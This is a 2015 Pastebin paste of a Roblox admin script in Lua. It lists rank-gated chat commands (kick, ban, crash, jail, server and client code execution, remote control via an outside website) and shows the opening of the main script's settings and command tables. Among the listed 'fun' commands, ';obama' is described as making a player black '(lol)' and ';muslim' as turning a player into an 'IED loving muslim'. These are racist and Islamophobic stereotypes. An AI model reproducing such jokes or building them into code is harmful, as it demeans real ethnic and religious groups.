KINGOFCOOL

Untitled

Jan 20th, 2015
409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 231.47 KB | None | 0 0
  1. --[[
  2. MADE BY LUAMODELMAKER/MAKERMODELLUA All rights given to LuaModelMaker/MakerModelLua
  3. I'm glad you are using my admin :D
  4. I hope My (LuaModelMaker/MakerModelLua) Admin isn't to complex to use.
  5. Just read the commands and you'll get the hang of it :)
  6.  
  7. PLEASE EDIT SETTINGS INSIDE THE SETTINGS SCRIPTS OR READ THE README
  8.  
  9. To execute server scripts, please go to ServerScriptService and enable LoadStringEnabled. NOTE: Doing this will disable all PlayerPoint commands.
  10. TO CONTROL ADMIN REMOTLEY GO TO: http://luammodelmmaker.com/Login
  11.  
  12. ReadMe: http://www.luammodelmmaker.com
  13.  
  14.  
  15. -- Commands --
  16.  
  17. Example:
  18. ;kill noobs/guests/me/nonadmins
  19. ;team new Noobs
  20. ;team join me/guests Noobs
  21.  
  22. PEOPLE YOU CAN USE COMMANDS ON:
  23. Any players (first few letters of their name): ;kill luamodel or ;kill luamodel/guests -- The Player(s) specified
  24. Me: kill me -- You
  25. Others/Mortals: ;kill others -- Everyone else but you
  26. Noobs: ;kill noobs -- Everyone who's roblox account age is under 1 year old
  27. NonNoobs: ;kill nonnoobs -- Everyone who's roblox account age is over 1 year old
  28. Random: ;kill random -- Random person
  29. All: ;kill all -- Everyone
  30. Admins: ;kill admins -- Admins in the server
  31. Nonadmins ;kill nonadmins -- People who aren't admins
  32. Uppers: ;kill uppers -- People starting with an uppercase letter in their name
  33. Lowers: ;kill lowers -- People starting with an lowercase letter in their name
  34. Guests: ;kill guests -- Kill all the guests(Real ones)
  35. NBCs: ;kill nbcs -- Everyone without a membership in the server
  36. BCs: ;kill bcs -- Everyone with the membership: BC in the server
  37. TBCs: ;kill tbcs -- Everyone with the membership: TBC in the server
  38. OBCs: ;kill obcs -- Everyone with the membership: OBC in the server
  39. AllBCs: ;kill allbcs -- Everyone with any membership in the server
  40. Team: ;kill team-blue -- Everyone in the team named "blue"
  41. List: ;kill list -- Shows a list of everyone in the server, you can select multiple people and submit the data and run the command on them
  42. (NOTE THIS IS NOT CAPS SENSITIVE)
  43.  
  44. NOTE: Commands in kohl's or person299's that use 'un' as in unff or unjail are 'no' in mine(Accept for some), like 'noff' and 'nojail'
  45. NOTE: ;btools me is not a command, instead, say ;give me btools
  46.  
  47. Commands:
  48.  
  49. -- Owners --
  50.  
  51. 1.) ;admin lua
  52. Admins LuaModelMaker to the rank "Admin"
  53.  
  54. 2.) ;forceplace lua 1337
  55. Forces LuaModelMaker to go to place with the ID of 1337
  56.  
  57. 3.) ;fun enable
  58. Enables fun commands
  59.  
  60. 4.) ;noadmin lua
  61. Removes LuaModelMaker from Admin or Member list
  62.  
  63. 5.) ;removeadmin
  64. Shuts LuaModelMaker's Admin down
  65.  
  66. ADD.) ;forcefollow lua 13645
  67. Makes LuaModelMaker follow the player with the user ID of 13645 in a universe
  68.  
  69. ADD.) ;fix
  70. Fixes admin by essentially rebooting it. Looses data that's not in settings. NOTE: OWNER OF THE GAME MUST OWN THE MODEL.
  71.  
  72. ADD.) ;awardbadge maker 156337226
  73. Will attempt to give MakerModelLua the badge with the ID 156337226
  74.  
  75. V2.) ;givepoints maker 5
  76. Will attempt to give MakerModelLua 5 player points, will only work if the game's point balance is more or equal to 5
  77.  
  78. V2.) ;clearsounds
  79. Clears all sounds used from the ;addsound command
  80.  
  81. [Switch(104)] ;nos
  82. Removes all scripts except LMM's Admin[NOW OWNER COMMAND]
  83.  
  84. V2.) ;clearlogs
  85. Clears command logs
  86.  
  87. V2.) ;clearexploitlogs
  88. Clears exploit logs
  89.  
  90. V2.) ;showad maker
  91. Shows an ad to MakerModelLua(only works on mobile platforms as of 9/4/2014)
  92.  
  93. V2.) ;replicatecommand builderman ;kill me
  94. Will execute the command ";kill me" on builderman's client, killing him because he is the speaker in the replicated command
  95.  
  96. V2.) ;masterclear
  97. Clears all things in workspace besides admin and makes a baseplate
  98.  
  99. V2.) ;saveplace
  100. Attempts to save place (needs to have SavePlace API enabled, [ http://wiki.roblox.com/images/c/c0/CreatePlaceConfigure.png ] )
  101.  
  102. V2.) ;downloadlogs
  103. Downloads logs from Remote account(needs DataKey)
  104.  
  105.  
  106. -- Admins+ --
  107.  
  108. 6.) ;ban lua
  109. Bans LuaModelMaker from the server so he can't join
  110.  
  111. 7.) ;c print("Ohi der")
  112. Runs Server-side script in workspace
  113.  
  114. 8.) ;crash lua
  115. Crashes them out of the server
  116.  
  117. 9.) ;jail lua
  118. Creates a jail LuaModelMaker will be trapped and spawned in
  119.  
  120. 10.) ;kick lua
  121. Kicks LuaModelMaker out of the server
  122.  
  123. 11.) ;l print("Look, a localscript!")
  124. Creates a LocalScript in the speaker's character
  125.  
  126. 12.) ;loopkill lua 10
  127. Kills LuaModelMaker 10 times
  128.  
  129. 13.) ;member lua
  130. Admins LuaModelMaker to the rank "Member"
  131.  
  132. 14.) ;mute lua
  133. Removes LuaModelMaker's chatbar so he cannot talk
  134.  
  135. 15.) ;noban lua
  136. Removes LuaModelMaker's name from the ban list
  137.  
  138. 16.) ;nocrash lua
  139. Removes LuaModelMsker's name from the crash list
  140.  
  141. 17.) ;noloopkill lua
  142. Stops any loopkill on LuaModelMaker
  143.  
  144. 18.) ;nomute lua
  145. Removes LuaModelMaker's name from the mute list and makes him talk agian
  146.  
  147. 19.) ;note lua Creator of LMM's Admin
  148. Creates a note about LuaModelMaker that he is the Creator of LMM's Admin [ See ;shownotes ]
  149.  
  150. 20.) ;place lua 1337
  151. Requests LuaModelMaker to go to the place ID with 1337
  152.  
  153. 21.) ;removenotes Creator of
  154. Removes the notes Starting with "Creator of LMM's Admin"
  155.  
  156. 22.) ;shutdown
  157. Shuts the server down
  158.  
  159. 23.) ;sm Cats have ears
  160. Creates a system message: "Cats have ears"
  161.  
  162. ADD.) ;lockserver
  163. Makes it so anyone not an admin will be kicked from the server
  164.  
  165. ADD.) ;unlockserver
  166. Makes it so anyone can join the server
  167.  
  168. ADD.) ;follow lua 13645
  169. Asks LuaModelMaker follow the player with the user ID of 13645 in a universe
  170.  
  171. V2.) ;syncsoundlist
  172. Syncs sound list to check for new sounds from global sound database
  173.  
  174. V2.) ;cleart
  175. Clears all terrain in the game.
  176.  
  177. V2.) ;prefix :
  178. Changes prefix from what it was before to ':'. Cannot be more than 5 characters long and if you forget the prefix use the 'settings' command which doesn't require a prefix.
  179.  
  180. V2.) ;addsound 131065183 Roar
  181. Adds Katy Perry - Roar to global sound list. Any new servers, universe places, or the one you are in will contain this sound. To sync instantly with other servers see ';syncsoundlist'
  182.  
  183. V2.) ;lto maker print("Hi!")
  184. Will run 'print("Hi!")' on MakerModelLua's client
  185.  
  186. V2.) ;waypoint player Maker Waypoint1
  187. Adds a waypoint at MakerModelLua's position named Waypoint1
  188.  
  189. V2.) ;waypoint vector 100 0 -100 Waypoint2
  190. Adds a waypoint at (100,0,-100) named Waypoint2
  191.  
  192. V2.) ;removewaypoint Way
  193. Removes any waypoint starting with "way"
  194.  
  195. V2.) ;clearstamper
  196. Clears all objects put in workspace by stamper
  197.  
  198. V2.) ;base
  199. Removes all others baseplates and creates a new one
  200.  
  201. V2.) ;notify Builderman is here!
  202. Will send a remote log(if available) to the creator's LinkedAccount
  203.  
  204.  
  205. -- Members+ --
  206.  
  207. 24.) ;admins
  208. Shows a list of all the admins
  209.  
  210. 25.) ;age lua
  211. Shows how long LuaModelMaker has been on roblox
  212.  
  213. 26.) ;bans
  214. Shows a list of all the banned players
  215.  
  216. 27.) ;backwards lua
  217. Reverses LuaModelMaker's Controls
  218.  
  219. 28.) ;blind lua
  220. Blinds LuaModelMaker
  221.  
  222. 29.) ;brightness 0.5
  223. Sets server brightness to 0.5
  224.  
  225. 30.) ;change lua points 100000
  226. Changes LuaModelMaker's points to 100000
  227.  
  228. 31.) ;char lua 261
  229. Changes LuaModelMaker's Character to look like the user with the ID 261 [ Shedletsky ]
  230.  
  231. 32.) ;clone lua
  232. Creates a clone of LuaModelMaker
  233.  
  234. 33.) ;clr
  235. Clears Jails,Clones, and other inserted things by LMM's Admin
  236.  
  237. 34.) ;clip lua
  238. Clips LuaModelMaker out of noclip
  239.  
  240. 35.) ;cmdbar
  241. Gives the speaker a command bar
  242.  
  243. 36.) ;control lua
  244. Controls LuaModelMakers body
  245.  
  246. 37.) ;crashes
  247. Shows a list of all the crashed players
  248.  
  249. 38.) ;debug lua
  250. Debugs LuaModelMaker - Removes ;char ;obama ;noob ;guest and respawns them
  251.  
  252. 39.) ;decal 1234
  253. Selects a decal to the speakers cursor, click to insert, press z to dismiss, x to remove
  254.  
  255. 40.) ;disco
  256. Makes the server flash disco colors
  257.  
  258. 41.) ;drug lua
  259. Simulates LuaModelMaker being on LSD(A drug)
  260.  
  261. 42.) ;explode lua
  262. Kills LuaModelMaker in a deadly explosion [ FUN COMMAND ]
  263.  
  264. 43.) ;face lua 1337
  265. Gives LuaModelMaker the face with the ID of 1337
  266.  
  267. 44.) ;fart lua
  268. Causes LuaModelMaker to pass gas [ FUN COMMAND ]
  269.  
  270. 45.) ;ff lua
  271. Gives a forcefield to LuaModelMaker
  272.  
  273. 46.) ;fire lua
  274. Catches LuaModelMaker on fire [ FUN COMMAND ]
  275.  
  276. 47.) ;flash
  277. Makes the server flash
  278.  
  279. 48.) ;fling lua
  280. Flings LuaModelMaker out of the server [ FUN COMMAND ]
  281.  
  282. 49.) ;flip lua
  283. Flips LuaModelMaker 360° around [ FUN COMMAND ]
  284.  
  285. 50.) ;fly lua
  286. Allows LuaModelMaker to fly
  287.  
  288. 51.) ;forwards lua
  289. Resets LuaModelMaker's Walkspeed and undoes ;backwards
  290.  
  291. 52.) ;freeze lua
  292. Freezes LuaModelMaker so he can't move
  293.  
  294. 53.) ;friends lua
  295. Shows a list of who LuaModelMaker is friends and Bestfriends with in the server
  296.  
  297. 54.) ;gear lua 13337
  298. Gives LuaModelMaker the gear with the ID of 1337
  299.  
  300. 55.) ;ghost lua
  301. Causes LuaModelMaker to look like a ghost [ FUN COMMAND ]
  302.  
  303. 56.) ;give lua basicbtools
  304. Gives LuaModelMaker basic building tools
  305.  
  306. 57.) ;give lua btools
  307. Gives LuaModelMaker all building tools, including GigsD4X's Building Tools by F3X
  308.  
  309. V2.) ;give maker f3xtools
  310. Gives MakerModelLua GigsD4X's Building Tools by F3X
  311.  
  312. 58.) ;give lua psbtools
  313. Gives LuaModelMaker Personal Server building tools
  314.  
  315. 59.) ;give lua cookie
  316. If there is a tool named "Cookie", then LuaModelMaker gets a tool named "Cookie"
  317.  
  318. 60.) ;givetools builderman
  319. Gives builderman a copy of of the speaker's tools
  320.  
  321. 61.) ;god lua
  322. Gives LuaModelMaker maximum health
  323.  
  324. 62.) ;gold lua
  325. Makes LuaModelMaker have a golden color and shine to him [ FUN COMMAND ]
  326.  
  327. 63.) ;guest lua
  328. Causes LuaModelMaker to look like a guest [ FUN COMMAND ] (undone by ;debug command)
  329.  
  330. 64.) ;h Heh, Hi
  331. Creates a hint: "Heh, Hi"
  332.  
  333. 65.) ;hat lua 1337
  334. Gives LuaModelMaker a hat with the ID of 1337
  335.  
  336. 66.) ;heal lua
  337. Gives LuaModelMaker full health
  338.  
  339. 67.) ;health lua 50
  340. Sets LuaModelMaker's Health to 50
  341.  
  342. 68.) ;headsize lua 200
  343. Sizes LuaModelMaker's Head to 200% it's original size
  344.  
  345. 69.) ;invis lua
  346. Renders LuaModelMaker invisible
  347.  
  348. 70.) ;insert 13333
  349. Inserts a Model to LuaModelMaker's Cursor. Press X to cancel, click to insert.
  350.  
  351. 71.) ;jump lua
  352. Makes LuaModelMaker jump
  353.  
  354. 72.) ;kill lua
  355. Kills LuaModelMaker
  356.  
  357. 73.) ;lamp lua
  358. Creates a light in front of LuaModelMaker
  359.  
  360. 74.) ;light lua
  361. Creates a light in around of LuaModelMaker
  362.  
  363. 75.) ;longneck lua
  364. Gives LuaModelMaker a longneck [ FUN COMMAND ]
  365.  
  366. 76.) ;loopheal lua
  367. Heals LuaModelMaker constantly
  368.  
  369. 77.) ;loopfling lua
  370. Flings LuaModelMaker constantly [ FUN COMMAND ]
  371.  
  372. 78.) ;m I like cheese
  373. Creates a Message: "I like cheese"
  374.  
  375. 79.) ;merge lua builderman [ COMMAND REMOVED ]
  376. Merges LuaModelMaker and Builderman together
  377.  
  378. 80.) ;mutes
  379. Shows a list of all Mutes
  380.  
  381. 81.) ;naked lua
  382. Clears LuaModelMaker's character rendering him naked [ FUN COMMAND ]
  383.  
  384. 82.) ;name lua LMM
  385. Changes LuaModelMaker's character name to: "LMM"
  386. V2 Note: saying _NAME will add the player's real name to the argument. Exp: ;name Maker _NAME is awesome! (Changes MakerModelLua's name to "MakerModelLua is awesome!")
  387.  
  388. 83.) ;noarms lua
  389. Removes LuaModelMaker's arms [ FUN COMMAND ]
  390.  
  391. 84.) ;nobind lua
  392. Stops the effect of the blind command on LuaModelMaker
  393.  
  394. 85.) ;noclip lua
  395. Makes it so LuaModelMaker can fly though solid objects
  396.  
  397. 86.) ;nodrug lua
  398. Stops the effect of the drug command on LuaModelMaker
  399.  
  400. 87.) ;noff lua
  401. Removes any forcefields in LuaModelMaker
  402.  
  403. 88.) ;nofire lua
  404. Stops the effect of the fire command on LuaModelMaker [ FUN COMMAND ]
  405.  
  406. 89.) ;noflash lua
  407. Stops the effect of the flash command on LuaModelMaker [ FUN COMMAND ]
  408.  
  409. 90.) ;nofly lua
  410. Stops the effect of the fly command on LuaModelMaker
  411.  
  412. 91.) ;nohats lua
  413. Removes all of LuaModelMaker's hats
  414.  
  415. 92.) ;nolamp lua
  416. Stops the effect of the lamp command on LuaModelMaker
  417.  
  418. 93.) ;nolegs lua
  419. Removes LuaModelMaker's legs [ FUN COMMAND ]
  420.  
  421. 94.) ;nolight lua
  422. Stops the effect of the light command on LuaModelMaker
  423.  
  424. 95.) ;nolimbs lua
  425. Removes all of LuaModelMaker's limbs [ FUN COMMAND ]
  426.  
  427. 96.) ;noloopfling lua
  428. Stops the effect of the loopfling command on LuaModelMaker [ FUN COMMAND ]
  429.  
  430. 97.) ;noname LuaModelMaker
  431. Removes any name someone may have named LuaModelMaker
  432.  
  433. 98.) ;noob lua
  434. Turns LuaModelMakerMaker into a noob [ FUN COMMAND ] (undone by ;debug command)
  435.  
  436. 99.) ;nooverlay lua
  437. Stops the effect of the overlay command on LuaModelMaker
  438.  
  439. 100.) ;nopunish lua
  440. Stops the effect of the punish command on LuaModelMaker
  441.  
  442. 101.) ;normal lua
  443. Undoes any character changes(;shine, ;gold, invis)
  444.  
  445. 102.) ;normaljump lua
  446. Stops the effect of the superjump command on LuaModelMaker
  447.  
  448. 103.) ;normalneck lua
  449. Stops the effect of the longneck command on LuaModelMaker [ FUN COMMAND ]
  450.  
  451. 104.) ;nos
  452. Removes all scripts except LMM's Admin[NOW OWNER COMMAND]
  453.  
  454. 105.) ;nosmoke lua
  455. Stops the effect of the smoke command on LuaModelMaker [ FUN COMMAND ]
  456.  
  457. 106.) ;nosparkles lua
  458. Stops the effect of the sparkles command on LuaModelMaker [ FUN COMMAND ]
  459.  
  460. 107.) ;nospin lua
  461. Stops the effect of the spin command on LuaModelMaker [ FUN COMMAND ]
  462.  
  463. 108.) ;nostun lua
  464. Stops the effect of the stun command on LuaModelMaker [ FUN COMMAND ]
  465.  
  466. 109.) ;notools lua
  467. Removes all of LuaModelMaker's tools
  468.  
  469. 110.) ;npl lua
  470. Removes LuaModelMaker's player list
  471.  
  472. 111.) ;obama lua
  473. Makes LuaModelMaker black (lol) [ FUN COMMAND ] (undone by ;debug command)
  474.  
  475. 112.) ;overlay lua 1337
  476. Overlays a decal on LuaModelMaker's head with the ID of 1337
  477.  
  478. 113.) ;pants lua 1337
  479. Gives LuaModelMaker pants with the ID of 1337
  480.  
  481. 114.) ;pm shed Wut up?
  482. Personal messages Shedletsky: "Wut up?"
  483.  
  484. 115.) ;point lua roblox
  485. Creates a laser beam between LuaModelMaker and ROBLOX
  486.  
  487. 116.) ;product lua 10000
  488. Shows a catalog like GUI about the product 10000 to LuaModelMaker
  489.  
  490. 117.) ;punish lua
  491. Punishes LuaModelMaker
  492.  
  493. 118.) ;ragdoll lua
  494. Makes LuaModelMaker a ragdoll
  495.  
  496. 119.) ;respawn lua
  497. Respawns LuaModelMaker
  498.  
  499. 120.) ;shine lua
  500. Gives LuaModelMaker a reflective shine
  501.  
  502. 121.) ;shirt lua 1337
  503. Gives LuaModelMaker the shirt with the ID of 1337
  504.  
  505. 122.) ;shownotes lua
  506. Shows saved notes about LuaModelMaker
  507.  
  508. 123.) ;sa
  509. Shows all Server Admins
  510.  
  511. 124.) ;sit lua
  512. Makes LuaModelMaker sit
  513.  
  514. 125.) ;smoke lua [ FUN COMMAND ]
  515. Makes LuaModelMaker smoke
  516.  
  517. 126.) ;sound 1337
  518. Plays a sound with the ID of 1337
  519.  
  520. 127.) ;sparkles lua
  521. Gives LuaModelMaker sparkles [ FUN COMMAND ]
  522.  
  523. 128.) ;speed lua 100
  524. Makes LuaModelMaker walk 100 SPS
  525.  
  526. 129.) ;spin lua
  527. Makes LuaModelMaker spin [ FUN COMMAND ]
  528.  
  529. 130.) ;strobe lua
  530. Creates a flashing light on LuaModelMaker's screen
  531.  
  532. 131.) ;stun lua
  533. Stuns LuaModelMaker so he cannot move
  534.  
  535. 132.) ;superjump lua
  536. Makes LuaModelMaker jump really high
  537.  
  538. 133.) ;sword lua
  539. Gives LuaModelMaker a sword
  540.  
  541. 134.) ;taketools lua
  542. Gives the speaker LuaModelMaker's tools
  543.  
  544. 135.) ;team join lua Red Team
  545. Makes it so LuaModelMaker joins the Red Team
  546.  
  547. 136.) ;team new Blue Team
  548. Creates a team named: "Blue Team"
  549.  
  550. 137.) ;team remove Red Team
  551. Removes the Read Team
  552.  
  553. 138.) ;team rename Blue Winners
  554. Renames the team: "Blue Team" to "Winners"
  555.  
  556. 139.) ;test
  557. Tests to see if LMM's Admin is still working
  558.  
  559. 140.) ;time noon
  560. Changes time in server to noon
  561.  
  562. 141.) ;tp lua build
  563. Teleports LuaModelMaker to Builderman
  564.  
  565. 142.) ;tshirt lua 12222
  566. Puts the tshirt the the ID 12222 on LuaModelMaker
  567.  
  568. 143.) ;vis lua
  569. Makes LudaModelMaker visible
  570.  
  571. 144.) ;vomit lua
  572. Makes LuaModelMaker puke everywhere [ FUN COMMAND ]
  573.  
  574. 145.) ;vote all 10 Do you like LMM's Admin?
  575. Gives a poll to everyone for 10 seconds a yes or no question: "Do you like LMM's Admin?"
  576.  
  577. ADD.) ;logs
  578. Checks commands by players
  579.  
  580. ADD.) ;countdown 20
  581. Counts down from 20(Cannot be more than 120 seconds)
  582.  
  583. ADD.) ;fixl
  584. Fixes lighting and stops disco and flashing
  585.  
  586. V2.) ;soundlist
  587. Shows sound list from sound database
  588.  
  589. V2.) ;hack maker
  590. Prompts a (fake) System32 style command prompt on MakerModelLua's screen. Looks like it's hacking.
  591.  
  592. V2.) ;rich maker
  593. Turns MakerModelLua into a rich player (Merely) [ FUN COMMAND ] (undone by ;debug command)
  594.  
  595. V2.) ;oder maker
  596. Turns MakerModelLua into an online dater [ FUN COMMAND ] (undone by ;debug command)
  597.  
  598. V2.) ;ambient 255 255 255
  599. Turns the server's global ambient RGB to 255,255,255(white) defualt 127,127,127
  600.  
  601. V2.) ;list noobs
  602. Creates a list of all players specified.
  603.  
  604. V2.) ;fixcam maker
  605. Restores MakerModelLua's camera to defualt.
  606.  
  607. V2.) ;plugins
  608. Views all plugins and shows if they're running.
  609.  
  610. V2.) ;countpoints
  611. Counts all player points left inside of a game
  612.  
  613. V2.) ;getpoints maker
  614. Shows how many player points MakerModelLua has
  615.  
  616. V2.) ;getgamepoints maker
  617. Shows how many player points MakerModelLua has won from the current game.
  618.  
  619. V2.) ;muslim maker
  620. Turns MakerModelLua into a IED loving muslim. [ FUN COMMAND ] (undone by ;debug command)
  621.  
  622. V2.) ;port
  623. Shows the speaker the port number of the server, usefull for remote command execution for a specific server(used at http://luammodelmmaker.com/Login/)
  624.  
  625. V2.) ;exploitlogs
  626. Shows a list of all exploits with player stats
  627.  
  628. V2.) ;waypoints
  629. Shows a list of all waypoints
  630.  
  631. V2.) ;warp maker Waypoint1
  632. Will warp MakerModelLua to any waypoint starting with "Waypoint1"
  633.  
  634. V2.) ;quickcommands
  635. Prompts a selection list of quick commands a player can execute multiple commands on multiple people
  636.  
  637. V2.) ;abuselist
  638. Shows all commands on the abuse list, for when DisableAbuse is on, any commands starting with those characters will not be executed
  639.  
  640. V2.) ;hasasset MakerModelLua 23220518
  641. Will show if MakerModelLua has the asset ID 23220518(LuaCap)
  642.  
  643. V2.) ;chat all red I like pie!
  644. Will make all players chat "I like pie!" with a red dialog
  645.  
  646. V2.) ;splode maker
  647. Will make MakerModelLua spam explode 50 times [ FUN COMMAND ]
  648.  
  649.  
  650. -- Non-Admin Commands+ --
  651.  
  652. 146.) ;adminvip
  653. Displays the product for the Admin VIP
  654.  
  655. 147.) ;cln
  656. Cleans hats and tools from server
  657.  
  658. 148.) ;cmds
  659. Shows a list of commands
  660.  
  661. 149.) ;membervip
  662. Displays the product for the Admin VIP
  663.  
  664. 150.) ;rejoin
  665. Makes Speaker rejoin the game
  666.  
  667. 151.) ;removemenu
  668. Removes LMM's Admin Menu
  669.  
  670. V2.) ;adminhouse
  671. Prompts a GUI telling you wich admin house you would like to go to.
  672.  
  673. V2.) settings
  674. Shows settings of admin. No prefix required.
  675.  
  676. V2.) ;fullcmds
  677. Shows a list of all commands(same as ;cmds), only you can select commands and it will attempt to execute them as shown
  678.  
  679.  
  680.  
  681. -------------------
  682. -- Main Script --]]
  683.  
  684. -- No touchies --
  685.  
  686. wait(1)
  687.  
  688. local LocalScript = script:FindFirstChild("LocalScriptExecution")
  689. local Script = script:FindFirstChild("ScriptExecution")
  690. local Version = script:FindFirstChild("Version")
  691. local Memberships = {["NBC"] = Enum.MembershipType.None, ["BC"] = Enum.MembershipType.BuildersClub, ["TBC"] = Enum.MembershipType.TurboBuildersClub, ["OBC"] = Enum.MembershipType.OutrageousBuildersClub}
  692. local Flings, Jailed, Objects, Logs, ManualCommands, VoteVersion, Stopped, Shutdown = {}, {}, {}, {}, {}, 0, false, false
  693. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  694. local F3X = script:FindFirstChild("Building Tools")
  695.  
  696. local Workspace = game:GetService("Workspace")
  697. local Players = game:GetService("Players")
  698. local Teams = game:GetService("Teams")
  699. local Lighting = game:GetService("Lighting")
  700. local MPS = game:GetService("MarketplaceService")
  701. local TS = game:GetService("TeleportService")
  702. local HS = game:GetService("HttpService")
  703. local Run = game:GetService("RunService")
  704. local Points = game:GetService("PointsService")
  705. local TestService = game:GetService("TestService")
  706. local NS = {Port = 0}
  707. local DataStore = game:GetService("DataStoreService"):GetGlobalDataStore()
  708. local Settings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or Workspace:FindFirstChild("LuaModelMaker's Admin Settings")
  709. local GameOwner = "[ Client ]"
  710. local PlaceName = "Unknown"
  711. if game.Players.LocalPlayer == nil then
  712. NS = game:GetService("NetworkServer")
  713. repeat
  714. ypcall(function()
  715. local PlaceInfo = MPS:GetProductInfo(game.PlaceId)
  716. GameOwner = PlaceInfo.Creator.Name
  717. PlaceName = PlaceInfo.Name
  718. end)
  719. wait(1)
  720. until GameOwner ~= "[ Client ]"
  721. end
  722.  
  723. local LuaModelMakerStamp = false
  724.  
  725. local Module = game.ServerStorage:FindFirstChild("Module")
  726. if Module then
  727. Module = Module.Value
  728. end
  729. if F3X then
  730. F3X.Handle.Position = Vector3.new(0,1000,0)
  731. end
  732.  
  733. --------------------------------------
  734. local SettingsModule = nil
  735. if Settings then SettingsModule = require(Settings) else SettingsModule = {} end
  736.  
  737. local Ranks = SettingsModule.Ranks or {["Owner"] = {}, ["Admin"] = {}, ["Member"] = {}, ["Banned"] = {}, ["Crashed"] = {}, ["Muted"] = {}}
  738. local FUN = SettingsModule.FUN
  739. local LagTime = SettingsModule.LagTime or 5
  740. local Prefix = SettingsModule.Prefix or ";"
  741. local Bet = SettingsModule.Bet or " "
  742. local VIPMemberID = SettingsModule.VIPMemberID or 0
  743. local VIPAdminID = SettingsModule.VIPAdminID or 0
  744. local GroupID = SettingsModule.GroupID or 0
  745. local GroupMemberRank = SettingsModule.GroupMemberRank or 0
  746. local GroupAdminRank = SettingsModule.GroupAdminRank or 0
  747. local GroupOwnerRank = SettingsModule.GroupOwnerRank or 0
  748. local BadgeID = SettingsModule.BadgeID or 0
  749. local EnableAdminMenu = SettingsModule.EnableAdminMenu
  750. local RankBan = SettingsModule.RankBan or 0
  751. local ServerLocked = SettingsModule.ServerLocked or false
  752. local DisableAbuse = SettingsModule.DisableAbuse or false
  753. local LinkedAccount = SettingsModule.LinkedAccount or "Admin"
  754. local MinimumAge = SettingsModule.MinimumAge or 0
  755. local BannedGroupIDs = SettingsModule.BannedGroupIDs or {}
  756. local AbuseList = SettingsModule.AbuseList or {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools"}
  757. local DataKey = SettingsModule.DataKey or ""
  758. local AbusableGear = SettingsModule.AbusableGear or {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459}
  759.  
  760.  
  761. if FUN == nil then FUN = true end
  762. if EnableAdminMenu == nil then EnableAdminMenu = true end
  763.  
  764. local Command,ServerCommand,ServerPort,TimeStamp = "","",0,"NIL"
  765.  
  766. local ExecuteCommand = script:FindFirstChild("ExecuteCommand")
  767. if not ExecuteCommand then
  768. ExecuteCommand = Instance.new("RemoteFunction", script)
  769. ExecuteCommand.Name = "ExecuteCommand"
  770. end
  771.  
  772. if not DataKey or DataKey == "" then
  773. local Key = game:GetService("ServerStorage"):FindFirstChild("DataKey")
  774. if Key then DataKey = Key.Value end
  775. end
  776.  
  777. local Commands = {
  778. NonAdmin = {"-- Non-Admin Commands --", ";adminvip", ";cln", ";cmds", ";membervip", ";rejoin", ";removemenu", ";adminhouse", "settings", ";fullcmds"};
  779. Member = {"-- Member Commands --", ";admins", ";age player", ";bans", ";backwards player", ";blind player", ";brightness num", ";change player num", ";char player num", ";clone player", ";clip player", ";clr", ";cmdbar", ";control player", ";cookie player[SPECIAL COMMAND]", ";crashes", ";debug player", ";decal num", ";disco", ";drug player", ";explode player", ";face player num", ";fart player", ";ff player", ";fire player", ";flash", ";fling player", ";flip player", ";fly player", ";forwards player", ";freeze player", ";friends player", ";gear player num", ";ghost player", ";give player basicbtools", ";give player btools", ";give player psbtools", ";give player string", ";give player f3xtools", ";givetools player", ";god player", ";gold player", ";guest player", ";h string", ";hat player num", ";heal player", ";health player num", ";headsize player num", ";invis player", ";insert num", ";jump player", ";kill player", ";lamp player", ";light player", ";longneck player", ";loopheal player", ";loopfling player", ";m string", ";mutes", ";naked player", ";name player string", ";noarms player", ";nobind player", ";noclip player", ";nodrug player", ";noff player", ";nofire player", ";noflash player", ";nofly player", ";nohats player", ";nolamp player", ";nolegs player", ";nolight player", ";nolimbs player", ";noname player", ";noob player", ";nooverlay player", ";nopunish player", ";normal player", ";normaljump player", ";normalneck player", ";nosmoke player", ";nosparkles player", ";nospin player", ";nostun player", ";notools player", ";npl player", ";obama player", ";overlay player num", ";pants player num", ";pm player string", ";point player player", ";product player num", ";punish player", ";ragdoll player", ";respawn player", ";shine player", ";shirt player num", ";shownotes player", ";sa", ";sit player", ";smoke player", ";sound num", ";sparkles player", ";speed player num", ";spin player", ";strobe player", ";stun player", ";superjump player", ";sword player", ";taketools player", ";team join player string", ";team new string", ";team remove string", ";team rename string[1] string", ";test", ";time num", ";tp player player", ";tshirt player num", ";vis player", ";vomit player", ";vote player num string", ";logs", ";countdown num", ";nogod player(Doesn't mean there is no God)", ";fixl", ";soundlist", ";hack player", ";rich player", ";oder player", ";ambient number number number", ";fixcam player", ";plugins", ";countpoints", ";getpoints player/number[User ID]", ";getgamepoints player/number[User ID]", ";muslim player", ";port", ";exploitlogs", ";warp string(waypoint)", ";waypoints", ";quickcommands", ";abuselist", ";hasasset player number", ";chat player [color(red/blue/green)] message", ";splode player"};
  780. Admin = {"-- Admin Commands --", ";accelerate player", ";bans", ";c string", ";crash player", ";jail player", ";kick player", ";l string", ";loopkill player num", ";member player", ";mute player", ";noban player", ";nocrash player", ";noloopkill player", ";nomute player", ";note player string", ";place player num", ";removenotes player string", ";shutdown", ";sm string", ";follow player num[UserID]", ";lockserver", ";unlockserver", ";syncsoundlist", ";cleart", ";abuse enable/disable", ";addsound num[Audio ID] string[Name]", ";lto player string", ";waypoint [type:player] player string", ";waypoint [type:vector] num num num string", ";removewaypoint string", ";clearstamper", ";base", ";notify string"};
  781. Owner = {"-- Owner Commands --", ";admin player", ";forceplace player num", ";fun enable/disable", ";noadmin player", ";removeadmin", ";adminmenu enable/disable", ";update", ";forcefollow player num[UserID]", ";fix", ";prefix string", ";awardbadge player num[ID]", ";givepoints player/number[User ID]", ";clearsounds", ";nos", ";clearlogs", ";clearexploitlogs", ";showad player", ";replicatecommand player string(command)", ";masterclear", ";saveplace", ";downloadlogs"};
  782. }
  783.  
